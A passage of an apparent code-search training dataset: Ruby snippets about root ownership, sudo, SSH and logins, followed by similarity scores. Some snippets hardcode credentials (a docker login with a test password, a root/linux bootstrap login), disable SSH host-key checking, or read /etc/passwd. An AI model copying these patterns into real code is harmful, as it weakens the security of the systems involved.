_test_change_user_sets_user\n host = @remote_host ; user = @remote_user\n assert_equal(user, Execute.run!('whoami', :host => host, :user => user)[:stdout].strip,\n \"failed to change user\")\n end", "def change_rootpassword(vid, new_password)\n perform_request(action: 'vserver-rootpassword', vserverid: vid, rootpassword: new_password)\n end", "def exec_login\n if core_createSession(params[:username], params[:password])\n redirect_to lato_core.root_path\n else\n flash[:warning] = CORE_LANG['superusers']['login_error']\n redirect_to lato_core.login_path\n end\n end", "def zookeeper_etc_hosts\n zk_private_hosts = ZookeeperHelpers.manager.etc_hosts(false)\n # remove any existing server entries in /etc/hosts\n sudo(\"sed -i -e '/BEGIN_ZOO_SERVERS/,/END_ZOO_SERVERS/{ d; }' /etc/hosts\")\n # append new entries to the /etc/hosts file (one line at a time)\n sudo(\"echo '### BEGIN_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\n zk_private_hosts.each do |etc_host|\n sudo(\"echo '#{etc_host}' | sudo tee -a /etc/hosts > /dev/null\")\n end\n sudo(\"echo '### END_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\nend", "def sudo_on_each!(cmd, &block)\n run_for_each! do |server|\n server.command_on_server('sudo sh -l -c', cmd, &block)\n end\n end", "def docker_login_vagrant(config)\n\n config.vm.provision \"shell\", privileged: false, inline: <<-SHELL\n docker login --username=testuser --password=testpassword util.io\n SHELL\n\nend", "def chroot\n Dir.chdir '/'\n File.umask 0000\n end", "def take_root_ownership(service)\n return unless System.root?\n\n root_paths = []\n\n if System.systemctl?\n group = \"root\"\n elsif System.launchctl?\n group = \"admin\"\n chown \"root\", group, service.dest\n plist_data = service.dest.read\n plist = begin\n Plist.parse_xml(plist_data)\n rescue\n nil\n end\n return unless plist\n\n program_location = plist[\"ProgramArguments\"]&.first\n key = \"first ProgramArguments value\"\n if program_location.blank?\n program_location = plist[\"Program\"]\n key = \"Program\"\n end\n\n if program_location.present?\n Dir.chdir(\"/\") do\n if File.exist?(program_location)\n program_location_path = Pathname(program_location).realpath\n root_paths += [\n program_location_path,\n program_location_path.parent.realpath,\n ]\n else\n opoo <<~EOS\n #{service.name}: the #{key} does not exist:\n #{program_location}\n EOS\n end\n end\n end\n end\n\n if (formula = service.formula)\n root_paths += [\n formula.opt_prefix,\n formula.linked_keg,\n formula.bin,\n formula.sbin,\n ]\n end\n root_paths = root_paths.sort.uniq.select(&:exist?)\n\n opoo <<~EOS\n Taking root:#{group} ownership of some #{service.formula} paths:\n #{root_paths.join(\"\\n \")}\n This will require manual removal of these paths using `sudo rm` on\n brew upgrade/reinstall/uninstall.\n EOS\n chown \"root\", group, root_paths\n chmod \"+t\", root_paths\n end", "def bootstrap_system(host, activation_key, salt_ssh)\n @connection.call('system.bootstrap', @sid, host, 22, 'root', 'linux', activation_key, salt_ssh)\n end", "def login_as(user, site = nil)\n user = user ? users(user) : nil\n site = sites(site || :first)\n host! site.host\n @request.session[:user] = user ? User.authenticate_for(site, user.login, 'test') : nil\n if block_given?\n yield\n reset!\n end\n end", "def compress_rootfs\n # TODO: Pass in tmpdir so we can clean up from outside\n target_path = \"#{Dir.mktmpdir}/rootfs.tar.gz\"\n\n @logger.info \"Compressing '#{rootfs_path}' rootfs to #{target_path}\"\n @sudo_wrapper.run('tar', '--numeric-owner', '-cvzf', target_path, '-C',\n rootfs_path.parent.to_s, \"./#{rootfs_path.basename.to_s}\")\n\n @logger.info \"Changing rootfs tarball owner\"\n user_details = Etc.getpwnam(Etc.getlogin)\n @sudo_wrapper.run('chown', \"#{user_details.uid}:#{user_details.gid}\", target_path)\n\n target_path\n end", "def homedir(user = (@sudo||@user))\n exec! \"awk -F: -v v=#{escape(user)} '{if ($1==v) print $6}' /etc/passwd\"\n end", "def dup_ssh(&block)\n Snapsync.debug \"Opening new ssh session: \"+uri.to_s\n Net::SSH.start(uri.host, uri.user, password: uri.password, non_interactive: true, &block)\n end", "def ssh_array\n [\"-o StrictHostKeyChecking=no\", \"-l '#{Base.user}'\", '-i \"'+full_keypair_path+'\"']\n end", "def autologin_kernel_args\n \"console=tty0 console=ttyS0\"\n end", "def server_login\n loaded_session=false\n begin\n if !env[\"session_file\"].nil? && !env[\"session_file\"].empty?\n path=File.expand_path(env[\"session_file\"])\n# puts \"Attempting to load previous session keys from #{env[\"session_file\"]}\" if env[\"echo\"]\n yaml=YAML::load(File.open(path))\n if yaml[\"auth\"]\n yaml[\"auth\"].each {|k,v|\n if v.nil? #cleanup for old auth file\n k=\"global\"\n v=k\n end\n ServerCredentials.instance[k][\"auth\"]=v\n }\n end\n credentials=ServerCredentials.instance[env[\"default_server\"]]\n if credentials[\"auth\"]\n puts \"Attempting to use previous key\" if env[\"echo\"]\n loaded_session=ZabbixServer.instance.use_auth(credentials)\n puts \"#{env[\"server\"]} connected\" if env[\"echo\"]\n puts \"API Version: #{ZabbixServer.instance.version}\" if env[\"echo\"]\n end\n end\n rescue Errno::ECONNREFUSED, Errno::ENOENT, ZbxAPI_ExceptionLoginPermission\n puts \"Failed to load previous session key\" if env[\"echo\"]\n# return\n end\n\n\n credentials=ServerCredentials.instance[env[\"default_server\"]] if credentials.nil?\n\n if !loaded_session && !credentials[\"server\"].nil? &&\n !credentials[\"username\"].nil? && !credentials[\"password\"].nil?\n puts \"Found valid login credentials, attempting login\" if env[\"echo\"]\n begin\n\n #\n ZabbixServer.instance.login(credentials)\n\n rescue ZbxAPI_ExceptionBadAuth => e\n puts e.message\n rescue ZbxAPI_ExceptionLoginPermission\n puts \"Error Invalid login or no API permissions.\"\n rescue ZbxAPI_ExceptionBadServerUrl\n puts \"Error connecting to server\" #TODO Fix message to show hostname\n end\n end\n\n end", "def chroot(&block)\n ::Dir.chroot(path, &block)\n end", "def index\n if session[:isadmin]\n @sshkeys = Sshkey.all\n else\n #user_id = User.where(\"ldapowner LIKE ?\", \"%#{session[:nickname]}%\")\n #@sshkeys = Sshkey.where(\"user_id LIKE ?\", \"%#{session[:nickname]}%\")\n @something = Array.new\n @userids = ldap_owner_sshkeys(session[:nickname])\n\n @userids.each do |userid|\n @something = Sshkey.where(:user_id => userid).to_a\n if @something\n @sshkeys = @something\n else\n @sshkeys = []\n end\n\n end\n\n end\n\n\n end", "def ssh(host, user, options={}, &block)\n local_port = open(host, options[:port] || 22)\n\n begin\n Net::SSH.start(\"127.0.0.1\", user, options.merge(:port => local_port), &block)\n ensure\n close(local_port) if block || $!\n end\n end", "def ssh_user(arg=nil)\n set_or_return(:ssh_user, arg, :kind_of => String)\n end" ]
[ "0.76720446", "0.69390243", "0.69206846", "0.68384326", "0.6656752", "0.6541249", "0.6207311", "0.5973428", "0.58412856", "0.58041894", "0.57782066", "0.57202286", "0.57118976", "0.57045114", "0.5697089", "0.5685545", "0.56372404", "0.56215596", "0.55808175", "0.55271655", "0.55069613", "0.5502462", "0.5456317", "0.5446956", "0.544381", "0.54087543", "0.53917557", "0.53732926", "0.5339108", "0.5337155", "0.5326757", "0.52496743", "0.521788", "0.5201786", "0.5174063", "0.5165649", "0.51455855", "0.5138221", "0.51366925", "0.5135703", "0.51194555", "0.51174766", "0.5084912", "0.5083917", "0.5061292", "0.5061292", "0.5040317", "0.5039194", "0.5009605", "0.5009011", "0.5007137", "0.49948165", "0.49858302", "0.49733758", "0.49594072", "0.49586573", "0.4958082", "0.49504235", "0.49486166", "0.4940559", "0.493453", "0.49242884", "0.49161643", "0.49147514", "0.4911927", "0.49078894", "0.49046746", "0.48996526", "0.4897125", "0.488854", "0.48651183", "0.48367366", "0.4832896", "0.4822463", "0.48190898", "0.48184702", "0.48140857", "0.4812707", "0.48056802", "0.48042828", "0.48021823", "0.48016864", "0.47872603", "0.47865295", "0.47773653", "0.47758096", "0.47661954", "0.4764221", "0.47540072", "0.4753052", "0.47509092", "0.4747997", "0.47432718", "0.47270477", "0.47182935", "0.47124454", "0.47122467", "0.4707365", "0.47054574", "0.4694073" ]
0.8573499
0
Make sure we end up with a flat array of probe_sets
def probe_sets=(probe_sets) @probe_sets = Array(probe_sets).flatten end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def probe_sets\n @probe_sets ||= Array.new\n end", "def reset\n probe_sets.each(&:reset)\n end", "def set_up_test(input_plates)\n input_plates.each do |plate|\n sample = plate.parts.first.sample\n plate.add_samples(Array.new(plate.get_empty.length, sample))\n end\n end", "def converted_arrays\n @converted_arrays ||= Set.new\n end", "def unconnected_probes\n observed_connections = Set.new\n connections.each do |conn|\n observed_connections << conn.probe1.to_settable\n observed_connections << conn.probe2.to_settable\n end\n to_return = []\n @sequence_ids.each do |index|\n [:start, :end].each do |side|\n probe = Probe.new\n probe.sequence_index = index\n probe.side = side\n unless observed_connections.include?(probe.to_settable)\n to_return.push probe\n end\n end\n end\n return to_return\n end", "def valid_result_sets\n Array.new\n end", "def subsets(array)\n\nend", "def subsets(array)\n\nend", "def subsets(array)\n\nend", "def test_input\n problems = []\n @app_spectra.each do |app_spectrum|\n problems << 'App spectrum has a nil target defined in its image set' if app_spectrum.image_set.target.nil?\n end\n problems\n end", "def clean_up_arrays\n self.likes.reject! {|l| l.empty? } if self.likes\n self.outdoor_activities.reject! {|l| l.empty? } if self.outdoor_activities\n self.nightlife.reject! {|l| l.empty? } if self.nightlife\n end", "def high_yield_mines (a)\n @arr2 = Array.new\n a.each do |this|\n if this[:specimens].length >= 4\n @arr2.push(this[:location])\n end\n end\nend", "def to_a\n array.map do |item|\n if item.is_a?(SpecViewArray)\n item.to_a\n else\n item\n end\n end\n end", "def find_subsampled_data_arrays\n self.find_all_data_arrays.where(:subsample_threshold.nin => [nil], :subsample_annotation.nin => [nil])\n end", "def collect_microarrays(data, xschema)\n filtered_arrays = Array.new\n arrays = data.find_all { |d| d[\"type\"] =~ /modencode:(ADF)/ }\n arrays.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n unless attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? then\n d[\"attributes\"] = attrs\n filtered_arrays.push d\n end\n }\n filtered_arrays = filtered_arrays.uniq_by { |d| d[\"attributes\"].nil? ? nil : d[\"attributes\"] }\n return filtered_arrays\n end", "def valid_sets; end", "def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tgroupMaker(array).any? {|x| x.class != Array} ? false : true\nend", "def subsets(arr)\n return [arr] if arr.empty?\nsubsets(arr[])\nend", "def hw_to_sets(hw,book) \n sets = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n set_number = stream_starts_at_set\n stream[\"chunks\"].each { |chunk|\n if sets[set_number].nil? then sets[set_number]=[] end\n sets[set_number].push(chunk)\n set_number = set_number+1\n }\n }\n 1.upto(sets.length-1) { |set_number|\n if sets[set_number].nil? then sets[set_number]=[] end\n }\n\n read_problems_csv(book)\n\n 1.upto(sets.length-1) { |set_number|\n sets[set_number].each { |chunk|\n chunk.each { |fg|\n flags,probs = fg\n probs.each { |g|\n g.each { |p|\n k = [p[0],p[1]]\n if p[0]<0 then\n fatal_error(\"in hw_to_sets, chapter=#{p[0]} for a problem on hw #{set_number}\")\n end\n label = $num_to_label[k]\n if $problem_assigned_on_set[k].nil?\n $problem_assigned_on_set[k] = set_number\n else\n if p[2].nil? || p[2]=='' then\n fatal_error(\"problem #{p[0]}-#{p[1]}, #{label}, assigned on both hw #{$problem_assigned_on_set[k]} and hw #{set_number}, and no specific parts were given on the second hw\")\n end\n end\n }\n }\n }\n }\n }\n\n return sets\nend", "def converted_arrays; end", "def array_subsets(array)\n return [array] if array.empty?\n \nend", "def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end", "def collect_specimens(data, xschema)\n# specimens = data.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n specimens = data\n missing = Array.new\n filtered_specimens = Array.new\n # Make sure that the data we've found of these types actually matches an\n # expected template for cell lines, strains, or stages\n specimens.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n if !( \n attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? && \n attrs.find { |a| a[\"heading\"] == \"Cell Type cv\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"developmental stage\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"strain\" }.nil? \n ) then\n # This datum has an attribute with one of the above headings. All of\n # the headings being checked are from the wiki, and as such are\n # somewhat controlled by templates\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"type\"] == \"modencode:reference\" } then\n # This datum references a datum in an older submission (as with the\n # Celinker RNA samples), so we'll keep it in case it turns out to be an\n # antibody, strain, stage, or cell line\n ref_attr = attrs.find_all { |attr| attr[\"type\"] == \"modencode:reference\" }\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"heading\"] =~ /Characteristics?/ } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"heading\"] =~ /Anonymous Datum/ && d[\"type\"] =~ /MO:((whole_)?organism(_part)?)/ then\n # Occasionally we don't specify the piece of the organism that is\n # collected except as an anonymous output between two protocols. This\n # serves to capture at least whether we've got a whole organism or part\n # of one\n d[\"attributes\"] = Array.new\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:(whole_)?organism/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /developmental_stage/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ADF/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /SO:RNAi_reagent/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:GrowthCondition/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"type\"] =~ /MO:Compound/i } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"heading\"] == \"RNA ID\" } then\n # Ignore RNA collections\n elsif d[\"value\"].length == 0\n # Ignore empty (probably anonymous) cells\n elsif d[\"type\"] == \"modencode:GEO_record\"\n # Ignore GEO records that aren't references to old submissions\n else\n # Track any specimens that didn't fall into one of the above categories\n # so we can add support for them to the code.\n missing.push d\n end\n }\n # Make sure the list of specimens is unique\n filtered_specimens = filtered_specimens.uniq_by { |d| d[\"attributes\"].nil? ? d[\"value\"] : d[\"attributes\"] }\n\n missing = missing.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n # Whine about any missing specimens\n if missing.size > 0 then\n if missing.size > 1 then\n missing = missing[0...2].map { |d| d[\"value\"] + \" (#{d[\"type\"]})\" }.join(\", \") + \", and #{missing.size - 2} more\"\n else\n missing = missing[0][\"value\"] + \" (#{missing[0][\"type\"]})\"\n end\n puts \"Unknown type of specimen: #{missing} for submission #{xschema}\"\n end\n\n return filtered_specimens\n\n end", "def powerset(arr)\n arr.inject([Set.new].to_set) do |powerset, el|\n new_powerset = Set.new\n powerset.each do |subset|\n new_powerset << subset\n new_powerset << subset + [el]\n end\n new_powerset\n end\n end", "def create_item_sets\n threshold = @baskets.rows.length * Settings::CONFIG.support_threshold\n singletons = []\n\n @item_counts.each_with_index do |support, item_id|\n if support && support >= threshold\n singletons << ItemSet.new([item_id], support) \n end\n end\n\n singletons\n end", "def pick_test_set\n $all_avail_genes = deep_copy_hash $all_genes\n $all_avail_pat = deep_copy_hash $all_pat\n \n # randomly withhold 10% of the patients\n $HIDE_PERCENT = 0.1\n pick_patients\n \n # use the remaining 90% for range alpha runs\n $all_avail_genes = deep_copy_hash $genes\n $all_avail_pat = deep_copy_hash $avail_pat\n $test_pat = deep_copy_hash $hide_pat\n \n # next hide 20% for validation set\n $HIDE_PERCENT = 0.2\nend", "def good_guess_array\n @good_guess_array.uniq\n end", "def inferred_truths_new\n inferred_truths_new = []\n inferred_truths_unique = self.inferred_truths_unique\n inferred_truths_unique.each do |proposition|\n if proposition.unique?(@unique_propositions)\n inferred_truths_new << proposition\n end\n end\n return inferred_truths_new\n end", "def flatten!\n replace(flatten()) if any? { |e| e.is_a?(Set) }\n end", "def flatten\n self.audio_assets.collect { |a| a.single? ? a : a.flatten }\n end", "def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tabg_maker(array).any? {|x| x.class != Array} ? false : true\nend", "def should_be_array\n %w[\n dc_creator_sm\n dc_subject_sm\n dct_spatial_sm\n dct_temporal_sm\n dct_isPartOf_sm\n ].freeze\n end", "def flatten!\n if detect { |e| e.is_a?(Set) }\n replace(flatten())\n else\n nil\n end\n end", "def subsets_iter(arr)\n new_arr = [[]]\n # byebug\n i = 0\n while i < arr.length\n# byebug\n ele1 = arr[i]\n new_arr << [ele1]\n\n if arr.length > 2\n sub_arr = [ele1]\n j = i + 1\n while j < arr.length\n # byebug\n ele2 = arr[j]\n sub_arr << ele2\n new_arr << sub_arr.dup\n sub_arr.pop\n j += 1\n end\n end\n i += 1\n end\n# byebug\n new_arr << arr unless arr.length < 2\n\n new_arr\nend", "def test_maps_no_elements\n stream = FromArray.new([])\n collected = stream.map { |val| val.to_s }.collect\n assert(collected.empty?)\n end", "def subsets(arr)\n return [ [] ] if arr.empty?\n subs = subsets(arr.drop(1)) # [ [] ]\n return subs.concat(subs.map { |sub| [arr.first].concat(sub) })\nend", "def subsets(arr)\n subsets_helper(result = [], temp = [], arr, 0)\nend", "def expected_publications_data?(array_of_hash)\n expected_data=[]\n expected_data << array_of_hash\n expected_data.flatten!\n data_array = self.publications_data\n new_array = []\n key_map = { \"Main title:\"=>:main_title, \"Main author:\"=>:main_author,\n \"Co-author(s):\"=>:co_authors, \"Publisher:\"=>:publisher, \"Place of publication:\"=>:place,\n \"Volume title:\"=>:volume_title, \"Volume information:\"=>:volume_info,\n \"Year:\"=>:year, \"Number:\"=>:number, \"Series title:\"=>:series, \"URL:\"=>:url }\n data_array.each do |hash|\n fixed = Hash[hash.map { |k, v| [key_map[k], v ] } ]\n new_array << fixed\n end\n expected_data==new_array ? true : false\n end", "def test_empty_distinct\n stream = FromArray.new([])\n collected = stream.distinct.collect\n assert(collected.length.zero?)\n end", "def maesb_generate_equipment_sets\n # Generate Equipment Sets\n ($data_weapons + $data_armors).compact.each { |equip| equip.maesb_generate_equip_set }\n # Update items to refer to the set to which they belong\n set_items = $data_armors.compact.select {|armor| !armor.maesb_sets.empty? }\n set_items.each { |set_item| \n set_item.maesb_sets.collect {|set| set.items }.flatten.uniq.each { |equip|\n equip.maesb_belongs_to_sets.push(set_item.id) \n }\n }\n end", "def without_empty_sets\n collection = clone\n collection.sets.reject!(&:empty?)\n collection\n end", "def test_0930_flat_map\n @@log.debug \"test_0930_flat_map starts\" if @@log.debug?\n assert_respond_to(@list, :flat_map, \"test_0930_flat_map_respond\")\n # Need some arrays for this test .....\n part_one = [@aen, @bsb]\n part_two = [@cab, @dad]\n ary_all = [ part_one, part_two ]\n # This should be the orignal list\n cc_res = ary_all.flat_map {|pers| pers }\n 0.upto(cc_res.size-1) do |n|\n # Each element should be the same\n assert(cc_res[n] == @list[n], \"test_0930_flat_map_eltck_#{n}\")\n end\n #\n assert(cc_res == @list.to_a, \"test_0930_flat_map_eltck_all\")\n @@log.debug \"test_0930_flat_map ends\" if @@log.debug?\n end", "def build_sample\n sample = Array.new(8) {Array.new(8)}\n sample[0][0] = King.new(0, 0, 0)\n sample[7][7] = King.new(7, 7, 1)\n sample[0][4] = Rook.new(0, 4, 1)\n sample[4][0] = Rook.new(4, 0, 1)\n sample[4][4] = Bishop.new(4, 4, 1)\n sample\nend", "def subsets(array)\n return [[]] if array.empty?\n\n val = array[0]\n subs = subsets(array.drop(1))\n new_subs = subs.map { |sub| sub + [val] }\n\n subs + new_subs\nend", "def source_matrices\n a = []\n experiments.each { |experiment| a.concat(experiment.source_matrices) }\n a.active_record_uniq\n end", "def assign_starts_of_streams_to_sets(sets,hw)\n stream_labels = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n if stream_labels[stream_starts_at_set].nil? then\n stream_labels[stream_starts_at_set]=stream[\"stream\"]\n else\n stream_labels[stream_starts_at_set] = stream_labels[stream_starts_at_set]+';'+stream[\"stream\"]\n end\n }\n 1.upto(sets.length-1) { |set_number|\n if stream_labels[set_number].nil? then stream_labels[set_number]='' end\n #print \"=== #{set_number}->#{stream_labels[set_number]}\\n\"\n }\n return stream_labels\nend", "def collect_samples\n all_samples = []\n\n all_samples << { item: @beads } if @plan_params[:run_calibration_beads]\n\n CONTROL_NAMES.each do |name|\n controls(name).each do |item|\n all_samples << { item: item, control: name }\n end\n end\n\n other_samples.each do |item|\n all_samples << { item: item }\n end\n\n libraries_to_sort.each do |item|\n all_samples << { item: item, sort: true }\n end\n\n all_samples\n end", "def create_sample_array\n sample_array = []\n\n\n # add songs to sample-array in correct ratios\n @spins_per_week.each do |k,v|\n v.times { sample_array.push(PL::db.get_song(k)) }\n end\n\n sample_array\n end", "def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end", "def maesb_generate_equip_set\n @maesb_belongs_to_sets = []\n end", "def harvest!\n return [] unless enabled?\n\n samples = @samples_lock.synchronize do\n @last_sample = nil\n harvest_from_sample_buffers\n end\n prepare_samples(samples)\n end", "def project_spec_arrays\n [:controller_specs, :model_specs, :view_specs]\n end", "def harvest!\n return NewRelic::EMPTY_ARRAY unless enabled?\n\n samples = @samples_lock.synchronize do\n @last_sample = nil\n harvest_from_sample_buffers\n end\n prepare_samples(samples)\n end", "def prepare\n super\n\n @test_list = @builder.tests\n\n @test_list.each do |item|\n if @options[\"#{item}_RATIO\"].to_i >= 1\n 1.upto(@options[\"#{item}_RATIO\"].to_i) do\n @tests.push item\n end\n end\n end\n end", "def clean_vehicle_list\n cleaned_list = setup.extract_vehicle_data.drop(8)\n cleaned_list.map { |x| cleaned_list << x unless x.empty? }\n end", "def delete_orphaned_arrays(study_id)\n study_file_ids = StudyFile.where(study_id:).pluck(:id)\n cursor = DataArray.where(study_id:, :study_file_id.nin => study_file_ids)\n cursor.delete_all if cursor.exists?\n end", "def set(arr)\n\treturn arr.uniq\nend", "def reduce_to_all_true(source_array)\nend", "def update_expected_value_structure!(measure)\n measure_population_count = measure.population_sets.count\n # add stratifications to the count\n measure.population_sets.each do |population_set|\n measure_population_count += population_set.stratifications.count\n end\n\n # keep track of the population indexes we have seen so we can reject duplicates\n population_indexes_found = Hash.new { |h, k| h[k] = [] } # make is so uninitialized keys are set to []\n # delete population sets present on the patient but not in the measure. also get rid of garbage and duplicate data.\n expectedValues.reject! do |expected_value_set|\n # if there is no measure_id then just clean this up\n if !expected_value_set.key?('measure_id')\n matches_measure = true\n is_garbage_data = true\n else # if there is a measure_id, do the rest of the checks\n matches_measure = expected_value_set[:measure_id] ? expected_value_set[:measure_id] == measure.hqmf_set_id : false\n # check if population_index or is non-existent, i.e. this is a set of garbage data\n is_garbage_data = !expected_value_set.key?('population_index')\n is_extra_population = expected_value_set[:population_index] ? expected_value_set[:population_index] >= measure_population_count : false\n\n is_duplicate_population = false\n # if it isn't garbage data or an extra population, check if it's a duplicate and/or add it to the list of seen populations\n if !is_garbage_data && !is_extra_population\n if population_indexes_found[expected_value_set[:measure_id]].include? expected_value_set[:population_index]\n is_duplicate_population = true\n else\n # add this population_index to the list of ones we have already seen\n population_indexes_found[expected_value_set[:measure_id]] << expected_value_set[:population_index]\n end\n end\n end\n\n # remove if it is part of this measure and has any of the three checked issues\n if matches_measure && (is_extra_population || is_garbage_data || is_duplicate_population)\n # if a block is given prepare some data and yield info about the removal\n if block_given?\n if is_extra_population\n change_reason = :extra_population\n elsif is_garbage_data\n change_reason = :garbage_data\n elsif is_duplicate_population\n change_reason = :dup_population\n end\n # Yield this change being made, with change_type symbol, change_reason symbol and the structure being removed\n yield :population_set_removal, change_reason, expected_value_set.deep_dup\n end\n\n true\n else\n false\n end\n end\n\n # add missing population sets\n patient_population_count = expectedValues.count { |expected_value_set| expected_value_set[:measure_id] == measure.hqmf_set_id }\n # add new population sets. the rest of the data gets added below.\n if patient_population_count < measure_population_count\n (patient_population_count..measure_population_count-1).each do |index|\n new_expected_values = {'measure_id' => measure.hqmf_set_id, 'population_index' => index}\n # yield info about this addition\n yield :population_set_addition, :missing_population, new_expected_values.deep_dup if block_given?\n expectedValues << new_expected_values\n end\n end\n\n # ensure there's the correct number of populations for each population set\n expectedValues.each do |expected_value_set|\n # ignore if it's not related to the measure (can happen for portfolio users)\n next unless expected_value_set['measure_id'] == measure.hqmf_set_id\n\n pop_idx = expected_value_set['population_index']\n is_stratification = false\n\n # if the population index is greater than the count of population sets, then it is a\n # stratification, we need to determine the corresponding population_set\n if pop_idx >= measure.population_sets.count\n actual_pop_idx = nil\n is_stratification = true\n # create a counter to count down as we traverse stratifications\n # once this runs out, we have found the corresponding population_set\n remaining_idx = pop_idx - measure.population_sets.count\n measure.population_sets.each_with_index do |population_set, index|\n if remaining_idx >= population_set.stratifications.count\n remaining_idx -= population_set.stratifications.count\n else\n actual_pop_idx = index\n break\n end\n end\n pop_idx = actual_pop_idx\n end\n\n expected_value_population_set = expected_value_set.keys & CQM::Measure::ALL_POPULATION_CODES\n measure_population_set = measure.population_sets[pop_idx].bonnie_result_criteria_names\n measure_population_set += ['STRAT'] if is_stratification\n\n # add population sets that didn't exist (populations in the measure that don't exist in the expected values)\n added_populations = measure_population_set - expected_value_population_set\n # create the structure to yield about these changes\n added_changes = {'measure_id' => measure.hqmf_set_id, 'population_index' => pop_idx}\n if added_populations.count.positive?\n added_populations.each do |population|\n if population == 'OBSERV'\n expected_value_set[population] = []\n added_changes[population] = []\n else\n expected_value_set[population] = 0\n added_changes[population] = 0\n end\n end\n # yield the info about things that are added.\n yield :population_addition, :missing_population, added_changes if block_given?\n end\n\n # delete populations that no longer exist (populations in the expected values that don't exist in the measure)\n removed_populations = expected_value_population_set - measure_population_set\n next unless removed_populations.count.positive?\n # create the structure to yield about these changes\n removed_changes = {'measure_id' => measure.hqmf_set_id, 'population_index' => pop_idx}\n removed_populations.each { |population| removed_changes[population] = expected_value_set[population] }\n\n expected_value_set.except!(*removed_populations)\n # yield the info about things removed\n yield :population_removal, :extra_population, removed_changes if block_given?\n\n end\n save!\n end", "def load_genres(tag_arr)\n\n\t\t@genres = Array.new(tag_arr.size)\n\n\t\ttag_arr.each_with_index do |el ,i|\n\n\t\t\t\t@genres[i] = true if el == 1\n\n\t\t\t\t@genres[i] ||= false #might not be necessary\n\n\t\t\tend\n\n\tend", "def test_collects_no_modifications\n seed = [1, 2, 3]\n stream = FromArray.new(seed)\n assert(\n seed == stream.collect,\n 'The seed and collected array should be the equal!'\n )\n assert(\n !seed.equal?(stream.collect),\n 'The seed and collected array should not be the same!'\n )\n end", "def flatten_fetcher_results(results)\n specs = []\n results.each do |source, source_specs|\n source_specs.each do |tuple|\n specs << [tuple, source]\n end\n end\n\n specs\n end", "def test_distinct_no_duplicates\n stream = FromArray.new([1, 2, 3, 4, 5])\n collected = stream.distinct.collect\n assert(collected == collected.uniq)\n assert(collected.length == collected.uniq.length)\n end", "def test_datasets(mountpoints)\n if (mounted_datasets.keys & mountpoints).empty?\n create_test_datasets(mountpoints)\n else\n mounted_datasets.slice(*mountpoints)\n end\n end", "def samples\n return self.synchronize { @samples.to_a }\n end", "def subsets(arr)\n return [self] if arr.length == 1\n\n subs + subsets()\nend", "def to_array(data, legislators, filter = nil)\n array = []\n filters = filter ? filter.split(/\\s+/) : []\n \n sources = sort_by_ref(data.keys, source_keys)\n header = []\n header << 'Bioguide ID'\n sources.each do |source|\n sort_fields(data[source].keys, source).each do |column|\n header << (data[source][column][:header] ? data[source][column][:header] : column.to_s.titleize)\n end\n end\n \n array << header\n \n legislators.each do |legislator|\n row = []\n row_filters = filters.dup\n \n row << legislator.bioguide_id\n \n sources.each do |source|\n sort_fields(@data[source].keys, source).each do |column|\n cell = data[source][column][legislator.bioguide_id]\n if cell.is_a?(Hash)\n raw_data = cell[:data]\n searchable = cell[:searchable]\n else\n raw_data = cell\n searchable = nil\n end\n \n if row_filters and row_filters.any?\n row_filters.reject! {|f| (raw_data =~ /#{f}/i) || (searchable and searchable =~ /#{f}/i)}\n end\n \n row << raw_data\n end\n end\n \n array << row unless filter and row_filters.any?\n end\n \n array\n end", "def ensure_flat_array_value(value)\n if value.kind_of?(Array)\n value.flatten!\n else\n value = [value]\n end\n 